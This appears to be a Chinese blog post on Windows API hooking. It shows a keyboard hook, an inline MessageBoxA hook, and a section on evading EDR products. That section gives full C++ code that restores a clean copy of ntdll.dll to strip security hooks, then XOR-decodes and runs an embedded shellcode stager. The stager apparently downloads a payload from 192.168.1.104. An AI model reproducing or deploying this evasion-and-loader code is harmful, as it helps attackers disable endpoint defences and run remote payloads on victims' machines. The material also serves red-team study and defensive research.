Windows API hook技术

Windows API hook技术

A.什么叫挂钩?

钩子技术即指“给特定的函数挂上钩子,让函数在执行前先执行被挂的钩子”,从而达到拦截事件和函数调用的目的。挂钩子的本质是一个程序段。

为了方便理解我们先首先实现一个简单的keyborad挂钩

hookDLL.cpp

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <string>
#include <Windows.h>
#include <iostream>
#include <fstream>
using namespace std;
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}
LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam)

LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam) {
    ofstream text;
    text.open("c:\programdata\hook.txt");
    text << "HOOK";
    text.close();
    return CallNextHookEx(NULL, code, wParam, lParam);
}

  hookexe.cpp

// installhook.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//

#include <iostream>

#include <windows.h>
#include <strsafe.h>

int main()
{
    HOOKPROC keybords;
    static HINSTANCE hookdll;
    hookdll = LoadLibrary(TEXT("C:\Users\localhost\Desktop\hook\keyboradProcHook\x64\Release\keyboradProcHook.dll"));
    keybords = (HOOKPROC)GetProcAddress(hookdll, "KeyboardProc");
    static HHOOK hhook;
    hhook = SetWindowsHookEx(
        WH_KEYBOARD_LL,
        keybords,
        hookdll,
        0);
    std::cout << "Hello World!
";
    
}

B通过HookedMessageBox 进一步了解hook技术

这里是https://www.ired.team/offensive-security/code-injection-process-injection/how-to-hook-windows-api-using-c++源代码

#include "pch.h"
#include <iostream>
#include <Windows.h>

FARPROC messageBoxAddress = NULL;
SIZE_T bytesWritten = 0;
char messageBoxOriginalBytes[6] = {};

int __stdcall HookedMessageBox(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType) {

	// print intercepted values from the MessageBoxA function
	std::cout << "Ohai from the hooked function
";
	std::cout << "Text: " << (LPCSTR)lpText << "
Caption: " << (LPCSTR)lpCaption << std::endl;

	// unpatch MessageBoxA
	WriteProcessMemory(GetCurrentProcess(), (LPVOID)messageBoxAddress, messageBoxOriginalBytes, sizeof(messageBoxOriginalBytes), &bytesWritten);

	// call the original MessageBoxA
	return MessageBoxA(NULL, lpText, lpCaption, uType);
}

int main()
{
	// show messagebox before hooking
	MessageBoxA(NULL, "hi", "hi", MB_OK);

	HINSTANCE library = LoadLibraryA("user32.dll");
	SIZE_T bytesRead = 0;

	// get address of the MessageBox function in memory
	messageBoxAddress = GetProcAddress(library, "MessageBoxA");

	// save the first 6 bytes of the original MessageBoxA function - will need for unhooking
	ReadProcessMemory(GetCurrentProcess(), messageBoxAddress, messageBoxOriginalBytes, 6, &bytesRead);

	// create a patch "push <address of new MessageBoxA); ret"
	void* hookedMessageBoxAddress = &HookedMessageBox;
	char patch[6] = { 0 };
	memcpy_s(patch, 1, "x68", 1);
	memcpy_s(patch + 1, 4, &hookedMessageBoxAddress, 4);
	memcpy_s(patch + 5, 1, "xC3", 1);

	// patch the MessageBoxA
	WriteProcessMemory(GetCurrentProcess(), (LPVOID)messageBoxAddress, patch, sizeof(patch), &bytesWritten);

	// show messagebox after hooking
	MessageBoxA(NULL, "hi", "hi", MB_OK);

	return 0;
}

  通过disam反汇编发现,确实再第二次调用MessgeboxA的时候执行了我们的函数

我们尝试分析hook过程

messgbox函数存在于用户层user32.dll中,所以我们先从user32.dll中找到MessgboxA的地址

 然后读取当前进程的内存空间中的MessgeBoxA的地址的前6位字节用来后面unhook的时候使用

 然后就是存放修改自身内存的指令

push ret

 然后就是修改内存空间,

 这是修改后的messgbox

 

 进入HookedMessageBox后

 

 C通过杀软特性实战bypass EDR

一般来说ntdll就是连接用户与内核层的最后一道防线,很多杀软在进行拦截是都是hook ntdll里面的一些函数,讨论的情况是如何bypass他

一幅图简单明了

 前提是ntdll已经被hook了 当然如果没hook最好(:

#include <iostream>
#include <Windows.h>
#include <winternl.h>
#include <psapi.h>
#include <stdio.h>
/* length: 798 bytes */
//unsigned char buf[] = "xfcxe8x89x00x00x00x60x89xe5x31xd2x64x8bx52x30x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4ax26x31xffx31xc0xacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7xe2xf0x52x57x8bx52x10x8bx42x3cx01xd0x8bx40x78x85xc0x74x4ax01xd0x50x8bx48x18x8bx58x20x01xd3xe3x3cx49x8bx34x8bx01xd6x31xffx31xc0xacxc1xcfx0dx01xc7x38xe0x75xf4x03x7dxf8x3bx7dx24x75xe2x58x8bx58x24x01xd3x66x8bx0cx4bx8bx58x1cx01xd3x8bx04x8bx01xd0x89x44x24x24x5bx5bx61x59x5ax51xffxe0x58x5fx5ax8bx12xebx86x5dx68x6ex65x74x00x68x77x69x6ex69x54x68x4cx77x26x07xffxd5x31xffx57x57x57x57x57x68x3ax56x79xa7xffxd5xe9x84x00x00x00x5bx31xc9x51x51x6ax03x51x51x68x50x00x00x00x53x50x68x57x89x9fxc6xffxd5xebx70x5bx31xd2x52x68x00x02x40x84x52x52x52x53x52x50x68xebx55x2ex3bxffxd5x89xc6x83xc3x50x31xffx57x57x6axffx53x56x68x2dx06x18x7bxffxd5x85xc0x0fx84xc3x01x00x00x31xffx85xf6x74x04x89xf9xebx09x68xaaxc5xe2x5dxffxd5x89xc1x68x45x21x5ex31xffxd5x31xffx57x6ax07x51x56x50x68xb7x57xe0x0bxffxd5xbfx00x2fx00x00x39xc7x74xb7x31xffxe9x91x01x00x00xe9xc9x01x00x00xe8x8bxffxffxffx2fx64x43x50x65x00xb3x9dxe7x18xb5x90xc3xb4xccx2fx68xe1x58xfex30x35x40x10x32x28xbex56x96x04x32x44x37xdcx85x9bxb4x59xc1xbaxcexfax15xd8x13xe3x16x94xfdx6axe0x80xc0xc8x11xbfx81x90x66xe6xebxa6x4fx95x09xb4x6dx26x19x69xcaxc1xe8x7cx88xf5x3fxdbx38x00x55x73x65x72x2dx41x67x65x6ex74x3ax20x4dx6fx7ax69x6cx6cx61x2fx35x2ex30x20x28x63x6fx6dx70x61x74x69x62x6cx65x3bx20x4dx53x49x45x20x39x2ex30x3bx20x57x69x6ex64x6fx77x73x20x4ex54x20x36x2ex31x3bx20x57x4fx57x36x34x3bx20x54x72x69x64x65x6ex74x2fx35x2ex30x3bx20x42x4fx49x45x39x3bx45x4ex55x53x29x0dx0ax00x26xa4x0fx76x5cxbexd4x22xdbx5dxbfxb0x05x18xd0x94x43xc7xcex5fx80x94x68xb5x47xc2xdfx29xe5x2cx73xb6xfbx84x7dx40xddxadx0fxc2x70x9ax6exa4xdfx64x2fxa1x35xfaxcbx52xb1x86x80x8bx53x65xfex76x9bx1dxf3x35xf5xe8xfcxf2xdbx9bxf3x09x3cx6ex25xd0x5ax2cx9bxe3xf2x0ax5axe4x01xacxbcx3bx8bxbdx29x5exf1x4dxf3x12x0dx4ex3axabx2fx1cx96x05x79x38x1fx7ex97x08x15xe5x15xfdx24x01x33x4dx4fx39x23x08x44xcex93x29x9bxa5xeex24xb7xe9x2cx8dxa8xd2xa7x2cx89x84x0axd5xcbxccx27x0ax35xaex5cx46xe0xbax53x2ex83xfdxdaxfcxfcxa8xd7xdbx70x9exdexaaxedx61x6ax7axd5xdfxf5x06x9fxf5x2fx11x57x6exa7x63x2ex37x53x30x96xd5xcbxbax60x85x27x65x2cx79xa3x37x4fxafx67x15x0fx91xaax7ax00x68xf0xb5xa2x56xffxd5x6ax40x68x00x10x00x00x68x00x00x40x00x57x68x58xa4x53xe5xffxd5x93xb9x00x00x00x00x01xd9x51x53x89xe7x57x68x00x20x00x00x53x56x68x12x96x89xe2xffxd5x85xc0x74xc6x8bx07x01xc3x85xc0x75xe5x58xc3xe8xa9xfdxffxffx31x39x32x2ex31x36x38x2ex31x2ex31x30x34x00x12x34x56x78";
unsigned char buf[] = "xfdxe9x88x1x1x1x61x88xe4x30xd3x65x8ax53x31x8ax53xdx8ax53x15x8ax73x29xexb6x4bx27x30xfex30xc1xadx3dx60x7dx3x2dx21xc0xcexcx0xc6xe3xf1x53x56x8ax53x11x8ax43x3dx0xd1x8ax41x79x84xc1x75x4bx0xd1x51x8ax49x19x8ax59x21x0xd2xe2x3dx48x8ax35x8ax0xd7x30xfex30xc1xadxc0xcexcx0xc6x39xe1x74xf5x2x7cxf9x3ax7cx25x74xe3x59x8ax59x25x0xd2x67x8axdx4ax8ax59x1dx0xd2x8ax5x8ax0xd1x88x45x25x25x5ax5ax60x58x5bx50xfexe1x59x5ex5bx8ax13xeax87x5cx69x6fx64x75x1x69x76x68x6fx68x55x69x4dx76x27x6xfexd4x30xfex56x56x56x56x56x69x3bx57x78xa6xfexd4xe8x85x1x1x1x5ax30xc8x50x50x6bx2x50x50x69x51x1x1x1x52x51x69x56x88x9exc7xfexd4xeax71x5ax30xd3x53x69x1x3x41x85x53x53x53x52x53x51x69xeax54x2fx3axfexd4x88xc7x82xc2x51x30xfex56x56x6bxfex52x57x69x2cx7x19x7axfexd4x84xc1xex85xc2x0x1x1x30xfex84xf7x75x5x88xf8xeax8x69xabxc4xe3x5cxfexd4x88xc0x69x44x20x5fx30xfexd4x30xfex56x6bx6x50x57x51x69xb6x56xe1xaxfexd4xbex1x2ex1x1x38xc6x75xb6x30xfexe8x90x0x1x1xe8xc8x0x1x1xe9x8axfexfexfex2ex65x42x51x64x1xb2x9cxe6x19xb4x91xc2xb5xcdx2ex69xe0x59xffx31x34x41x11x33x29xbfx57x97x5x33x45x36xddx84x9axb5x58xc0xbbxcfxfbx14xd9x12xe2x17x95xfcx6bxe1x81xc1xc9x10xbex80x91x67xe7xeaxa7x4ex94x8xb5x6cx27x18x68xcbxc0xe9x7dx89xf4x3exdax39x1x54x72x64x73x2cx40x66x64x6fx75x3bx21x4cx6ex7bx68x6dx6dx60x2ex34x2fx31x21x29x62x6ex6cx71x60x75x68x63x6dx64x3ax21x4cx52x48x44x21x38x2fx31x3ax21x56x68x6fx65x6ex76x72x21x4fx55x21x37x2fx30x3ax21x56x4ex56x37x35x3ax21x55x73x68x65x64x6fx75x2ex34x2fx31x3ax21x43x4ex48x44x38x3ax44x4fx54x52x28xcxbx1x27xa5xex77x5dxbfxd5x23xdax5cxbexb1x4x19xd1x95x42xc6xcfx5ex81x95x69xb4x46xc3xdex28xe4x2dx72xb7xfax85x7cx41xdcxacxexc3x71x9bx6fxa5xdex65x2exa0x34xfbxcax53xb0x87x81x8ax52x64xffx77x9ax1cxf2x34xf4xe9xfdxf3xdax9axf2x8x3dx6fx24xd1x5bx2dx9axe2xf3xbx5bxe5x0xadxbdx3ax8axbcx28x5fxf0x4cxf2x13xcx4fx3bxaax2ex1dx97x4x78x39x1ex7fx96x9x14xe4x14xfcx25x0x32x4cx4ex38x22x9x45xcfx92x28x9axa4xefx25xb6xe8x2dx8cxa9xd3xa6x2dx88x85xbxd4xcaxcdx26xbx34xafx5dx47xe1xbbx52x2fx82xfcxdbxfdxfdxa9xd6xdax71x9fxdfxabxecx60x6bx7bxd4xdexf4x7x9exf4x2ex10x56x6fxa6x62x2fx36x52x31x97xd4xcaxbbx61x84x26x64x2dx78xa2x36x4exaex66x14xex90xabx7bx1x69xf1xb4xa3x57xfexd4x6bx41x69x1x11x1x1x69x1x1x41x1x56x69x59xa5x52xe4xfexd4x92xb8x1x1x1x1x0xd8x50x52x88xe6x56x69x1x21x1x1x52x57x69x13x97x88xe3xfexd4x84xc1x75xc7x8ax6x0xc2x84xc1x74xe4x59xc2xe9xa8xfcxfexfex30x38x33x2fx30x37x39x2fx30x2fx30x31x35x1x13x35x57x79";
void unhook() {
	HANDLE process = GetCurrentProcess();
	MODULEINFO mi = {};
	HMODULE ntdllModule = GetModuleHandleA("ntdll.dll");

	GetModuleInformation(process, ntdllModule, &mi, sizeof(mi));
	LPVOID ntdllBase = (LPVOID)mi.lpBaseOfDll;
	HANDLE ntdllFile = CreateFileA("c:\windows\system32\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
	HANDLE ntdllMapping = CreateFileMapping(ntdllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
	LPVOID ntdllMappingAddress = MapViewOfFile(ntdllMapping, FILE_MAP_READ, 0, 0, 0);

	PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)ntdllBase;
	PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdllBase + hookedDosHeader->e_lfanew);

	for (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++) {
		PIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));

		if (!strcmp((char*)hookedSectionHeader->Name, (char*)".text")) {
			DWORD oldProtection = 0;
			bool isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtection);
			memcpy((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), (LPVOID)((DWORD_PTR)ntdllMappingAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize);
			isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, oldProtection, &oldProtection);
		}
	}

	CloseHandle(process);
	CloseHandle(ntdllFile);
	CloseHandle(ntdllMapping);
	FreeLibrary(ntdllModule);

}
int main()
{
	unhook();
		int password = 1025;
	unsigned char deShellCode[1000];
	int nLen = sizeof(buf) - 1;
		for (int i = 0; i < nLen; i++)
	{
		deShellCode[i] = buf[i] ^ password;
		printf("\x%x", deShellCode[i]);
	}

	HANDLE event = CreateEvent(NULL, FALSE, TRUE, NULL);
	LPVOID shellcodeAddress = VirtualAlloc(NULL, sizeof(deShellCode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	unhook();
	RtlMoveMemory(shellcodeAddress, deShellCode, sizeof(deShellCode));

	PTP_WAIT threadPoolWait = CreateThreadpoolWait((PTP_WAIT_CALLBACK)shellcodeAddress, NULL, NULL);
	SetThreadpoolWait(threadPoolWait, event, NULL);
	WaitForSingleObject(event, INFINITE);

	return 0;
}
//#include <stdio.h>
//#include <Windows.h>
//
///* length: 798 bytes */
//unsigned char buf[] = "xfcxe8x89x00x00x00x60x89xe5x31xd2x64x8bx52x30x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4ax26x31xffx31xc0xacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7xe2xf0x52x57x8bx52x10x8bx42x3cx01xd0x8bx40x78x85xc0x74x4ax01xd0x50x8bx48x18x8bx58x20x01xd3xe3x3cx49x8bx34x8bx01xd6x31xffx31xc0xacxc1xcfx0dx01xc7x38xe0x75xf4x03x7dxf8x3bx7dx24x75xe2x58x8bx58x24x01xd3x66x8bx0cx4bx8bx58x1cx01xd3x8bx04x8bx01xd0x89x44x24x24x5bx5bx61x59x5ax51xffxe0x58x5fx5ax8bx12xebx86x5dx68x6ex65x74x00x68x77x69x6ex69x54x68x4cx77x26x07xffxd5x31xffx57x57x57x57x57x68x3ax56x79xa7xffxd5xe9x84x00x00x00x5bx31xc9x51x51x6ax03x51x51x68x50x00x00x00x53x50x68x57x89x9fxc6xffxd5xebx70x5bx31xd2x52x68x00x02x40x84x52x52x52x53x52x50x68xebx55x2ex3bxffxd5x89xc6x83xc3x50x31xffx57x57x6axffx53x56x68x2dx06x18x7bxffxd5x85xc0x0fx84xc3x01x00x00x31xffx85xf6x74x04x89xf9xebx09x68xaaxc5xe2x5dxffxd5x89xc1x68x45x21x5ex31xffxd5x31xffx57x6ax07x51x56x50x68xb7x57xe0x0bxffxd5xbfx00x2fx00x00x39xc7x74xb7x31xffxe9x91x01x00x00xe9xc9x01x00x00xe8x8bxffxffxffx2fx64x43x50x65x00xb3x9dxe7x18xb5x90xc3xb4xccx2fx68xe1x58xfex30x35x40x10x32x28xbex56x96x04x32x44x37xdcx85x9bxb4x59xc1xbaxcexfax15xd8x13xe3x16x94xfdx6axe0x80xc0xc8x11xbfx81x90x66xe6xebxa6x4fx95x09xb4x6dx26x19x69xcaxc1xe8x7cx88xf5x3fxdbx38x00x55x73x65x72x2dx41x67x65x6ex74x3ax20x4dx6fx7ax69x6cx6cx61x2fx35x2ex30x20x28x63x6fx6dx70x61x74x69x62x6cx65x3bx20x4dx53x49x45x20x39x2ex30x3bx20x57x69x6ex64x6fx77x73x20x4ex54x20x36x2ex31x3bx20x57x4fx57x36x34x3bx20x54x72x69x64x65x6ex74x2fx35x2ex30x3bx20x42x4fx49x45x39x3bx45x4ex55x53x29x0dx0ax00x26xa4x0fx76x5cxbexd4x22xdbx5dxbfxb0x05x18xd0x94x43xc7xcex5fx80x94x68xb5x47xc2xdfx29xe5x2cx73xb6xfbx84x7dx40xddxadx0fxc2x70x9ax6exa4xdfx64x2fxa1x35xfaxcbx52xb1x86x80x8bx53x65xfex76x9bx1dxf3x35xf5xe8xfcxf2xdbx9bxf3x09x3cx6ex25xd0x5ax2cx9bxe3xf2x0ax5axe4x01xacxbcx3bx8bxbdx29x5exf1x4dxf3x12x0dx4ex3axabx2fx1cx96x05x79x38x1fx7ex97x08x15xe5x15xfdx24x01x33x4dx4fx39x23x08x44xcex93x29x9bxa5xeex24xb7xe9x2cx8dxa8xd2xa7x2cx89x84x0axd5xcbxccx27x0ax35xaex5cx46xe0xbax53x2ex83xfdxdaxfcxfcxa8xd7xdbx70x9exdexaaxedx61x6ax7axd5xdfxf5x06x9fxf5x2fx11x57x6exa7x63x2ex37x53x30x96xd5xcbxbax60x85x27x65x2cx79xa3x37x4fxafx67x15x0fx91xaax7ax00x68xf0xb5xa2x56xffxd5x6ax40x68x00x10x00x00x68x00x00x40x00x57x68x58xa4x53xe5xffxd5x93xb9x00x00x00x00x01xd9x51x53x89xe7x57x68x00x20x00x00x53x56x68x12x96x89xe2xffxd5x85xc0x74xc6x8bx07x01xc3x85xc0x75xe5x58xc3xe8xa9xfdxffxffx31x39x32x2ex31x36x38x2ex31x2ex31x30x34x00x12x34x56x78";
//
//
//int main(int argc, char* argv[])
//{
//	int password = 1025;
//	unsigned char enShellCode[1000];
//	unsigned char deShellCode[1000];
//	int nLen = sizeof(buf) - 1;
//
//	for (int i = 0; i < nLen; i++)
//	{
//		enShellCode[i] = buf[i] ^ password;
//		printf("\x%x", enShellCode[i]);
//	}
//
//	printf("
");
//
//	/*for (int i = 0; i < nLen; i++)
//	{
//		deShellCode[i] = enShellCode[i] ^ password;
//		printf("\x%x", deShellCode[i]);
//	}*/
//
//	system("pause");
//	return 0;
//}

D总结

当然 这次这是提到了一种unhook的手法,还有很多种比如 https://github.com/CylanceVulnResearch/ReflectiveDLLRefresher以及ACGhttps://www.countercraftsec.com/blog/post/arbitrary-vs-kernel/

也可以直接调用syscall来不与api交互,当然这些都是玩烂了的手法。只是体力活而已

参考

https://xz.aliyun.com/t/9166#toc-5
https://www.cnblogs.com/LyShark/p/13033722.html
https://improsec.com/tech-blog/user-mode-api-hooks-and-bypasses
https://www.ired.team/offensive-security/code-injection-process-injection/shellcode-execution-via-createthreadpoolwait
https://www.ired.team/offensive-security/defense-evasion/how-to-unhook-a-dll-using-c++
https://www.ired.team/offensive-security/defense-evasion/acg-arbitrary-code-guard-processdynamiccodepolicy
https://s3cur3th1ssh1t.github.io/A-tale-of-EDR-bypass-methods/
https://www.ired.team/offensive-security/defense-evasion/bypassing-cylance-and-other-avs-edrs-by-unhooking-windows-apis

原文地址:https://www.cnblogs.com/-zhong/p/14802109.html